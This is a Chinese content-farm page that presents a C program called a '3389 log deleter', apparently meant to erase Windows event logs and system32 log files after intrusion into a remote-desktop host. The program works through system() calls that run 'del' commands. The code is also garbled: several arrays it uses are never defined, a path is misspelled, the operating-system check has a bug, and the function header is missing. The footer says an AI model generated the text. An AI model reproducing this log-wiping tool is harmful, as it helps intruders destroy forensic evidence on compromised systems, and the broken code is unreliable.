您的位置 首页 > 数码极客

C 实现日志清理代码

大家好,今天小悦来为大家解答以上问题。日志清理脚本,C 实现日志清理代码很多人还不知道,现在让我们一起来看看吧!

char a1[40]="del C:/windows/system32/logfiles/*.*";char b1[40]="del C:/windows/ssytem32/config/*.evt";char c1[36]="del C:/windows/system32/dtclog/*.*";char d1[36]="del C:/windows/system32/*.log";char e1[36]="del C:/windows/system32/*.txt";char f1[36]="del C:/windows/*.txt";char g1[36]="del C:/windows/*.log";

int i;

printf("/t/t/t3389日志删除器/n/t/t/t/t/twrite by willson QQ:360928283/n/n");printf("/t/t我的空间是:http://hi.baidu.com/willweiwei/n");printf("/t/t/thttp://www.rootkit.org.cn/n/n/n");printf("请输入您的操作系统名。如果是windows2000,请输入1!/n如果是windows2003或xp,请输入其他任意键/n请输入操作系统:");scanf("%d",&i);if(i=1){system(a);system(b);system(c);system(d);system(e);system(f);system(g);}else{system(a1);system(b1);system(c1);system(d1);system(e1);system(f1);system(g1);}}

本文到此结束,希望对大家有所帮助。

责任编辑: 鲁达

1.内容基于多重复合算法人工智能语言模型创作,旨在以深度学习研究为目的传播信息知识,内容观点与本网站无关,反馈举报请
2.仅供读者参考,本网站未对该内容进行证实,对其原创性、真实性、完整性、及时性不作任何保证;
3.本站属于非营利性站点无毒无广告,请读者放心使用!

相关推荐